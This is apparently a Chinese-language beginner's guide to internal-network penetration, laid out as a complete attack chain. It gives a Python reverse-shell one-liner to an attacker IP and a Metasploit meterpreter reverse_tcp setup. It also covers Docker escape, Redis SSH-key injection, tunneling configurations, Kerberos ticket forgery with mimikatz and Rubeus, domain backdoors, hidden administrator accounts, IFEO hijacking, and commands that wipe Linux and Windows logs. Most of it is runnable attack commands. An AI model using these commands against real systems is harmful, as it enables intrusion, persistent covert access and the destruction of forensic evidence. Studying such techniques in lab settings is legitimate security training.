内网渗透该怎么学-小白篇
字数 1294 2025-08-22 12:22:15
内网渗透全面学习指南
一、入口点寻找与初始入侵
1. 信息收集与扫描
- Nmap扫描:用于发现开放端口和服务
nmap -sV -p- 192.168.157.131
2. Web应用漏洞利用
- Laravel Debug模式RCE (CVE-2021-3129)
- 利用工具:laravel-CVE-2021-3129-EXP
- 配合Godzilla v2.96获取shell
- 注意:高版本Godzilla可能不兼容
3. Docker环境提权
-
SUID提权方法:
find / -perm -u=s -type f 2>/dev/null- 发现具有SUID权限的可执行文件
- 通过修改PATH环境变量实现提权
-
反弹shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
二、Docker逃逸技术
1. Docker runC漏洞逃逸 (CVE-2019-5736)
- 利用条件:需要等待容器重启
- 成功率较低
2. Docker特权模式逃逸
-
步骤:
- 创建挂载目录:
mkdir /hack - 查看设备文件:
ls /dev - 挂载宿主机磁盘:
mount /dev/sda1 /hack - 通过Metasploit生成payload写入计划任务
- 创建挂载目录:
-
Metasploit配置:
use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost [攻击机IP] set lport 4444 exploit
三、横向移动技术
1. Redis未授权访问利用
- 写入SSH公钥:
ssh-keygen -t rsa (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 目标IP -x set xxx redis-cli -h 目标IP config set dir /root/.ssh config set dbfilename authorized_keys save
2. 内网穿透工具
Earthworm (EW)
- 服务端:
./ew_for_linux64 -s rcsocks -l 8899 -e 1888 - 客户端:
./ew_for_linux64 -s rssocks -d 服务端IP -e 1888
FRP
- 服务端配置(frps.ini):
[common] bind_port = 7000 - 客户端配置(frpc.ini):
[common] server_addr = 服务端IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5
Neo-reGeorg
- 生成代理文件:
python neoreg.py generate -k 密码 - 连接代理:
python3 neoreg.py -k 密码 -u http://目标URL/proxy.php -p 本地端口
Suo5
- 特点:性能高,支持全双工与半双工模式
- 使用:
./suo5-linux-arm64 -t http://目标URL/suo5.jsp -l 0.0.0.0:1111
四、内网信息收集
1. 基础信息收集命令
ipconfig /all
systeminfo
route print
net view
arp -a
whoami
net start
net share
net config workstation
net user
net user /domain
net localgroup administrators
net view /domain
net group /domain
net group "domain admins" /domain
net group "domain computers" /domain
net group "domain controllers" /domain
2. IPC$远程连接
net use \\IP\ipc$ "密码" /user:"用户名"
五、权限维持技术
1. 票据攻击
白银票据
- 制作:
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:用户名 /ptt
黄金票据
- 前置条件:
- KRBTGT的hash
- 本地管理员权限
- 域的sid
- 制作:
kerberos::golden /user:用户名 /domain:域名 /sid:域的sid /krbtgt:KRBTGT的hash /ticket:ticket.kirbi
钻石票据
- 特点:使用真实TGT解密和重新加密
- 利用:
Rubeus.exe diamond /krbkey:AES256密钥 /user:用户名 /password:密码 /enctype:aes /domain:域名 /dc:域控 /ticketuser:伪造用户名 /ptt
蓝宝石票据
- 特点:通过合法请求获得TGT,修改PAC
- 利用:
python ticketer.py -request -impersonate 'administrator' -domain '域名' -user '用户名' -password '密码' -aesKey 'AES256密钥' -domain-sid '域SID' -nthash 'NTLM哈希' '票据名'
2. Skeleton Key (万能密码)
- 注入:
misc::skeleton - 使用:
net use \\域控\ipc$ "mimikatz" /user:域\administrator
3. DSRM域后门
- 步骤:
- 获取krbtgt的NTLM Hash
- 同步DSRM密码与krbtgt
- 修改DSRM登录方式(注册表设置DsrmAdminLogonBehavior=2)
- 使用PTH登录
4. SID History后门
- 注入:
sid::patch sid::add /sam:目标用户 /new:administrator
5. 组策略脚本
- 路径:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
6. 计划任务
schtasks /create /tn 任务名 /tr "命令" /sc onlogon /ru System
7. 影子账号
net user only$ /add
net localgroup administrators only$ /add
- 增强隐藏:修改注册表中用户的F值
8. 映像劫持
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\目标程序.exe" /v "Debugger" /t REG_SZ /d "后门程序路径" /f
六、痕迹清理
1. Linux清理
# 清除历史记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
# 清除日志
echo > /var/log/btmp
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/secure
echo > /var/log/messages
2. Windows清理
- Metasploit:
clearev - 清除Recent:
del /f /s /q "%userprofile%\Recent*.*"
3. PowerShell清理系统日志
Clear-Eventlog -Log Application,System,Security
Get-WinEvent -ListLog Application,Setup,Security -Force | % { Wevtutil.exe cl $_.Logname }
七、免杀技术
(文中提到后续会单独写一篇,此处暂不展开)
总结与建议
- 实操是关键:搭建靶场环境进行练习
- 循序渐进:从基础到进阶,逐步掌握各项技术
- 全面了解:熟悉内网各个组件和它们之间的关系
- 持续学习:关注新技术和新漏洞
通过系统学习和大量实践,可以逐步掌握内网渗透的各个方面,从入口点寻找到权限维持,形成完整的内网渗透思路和方法论。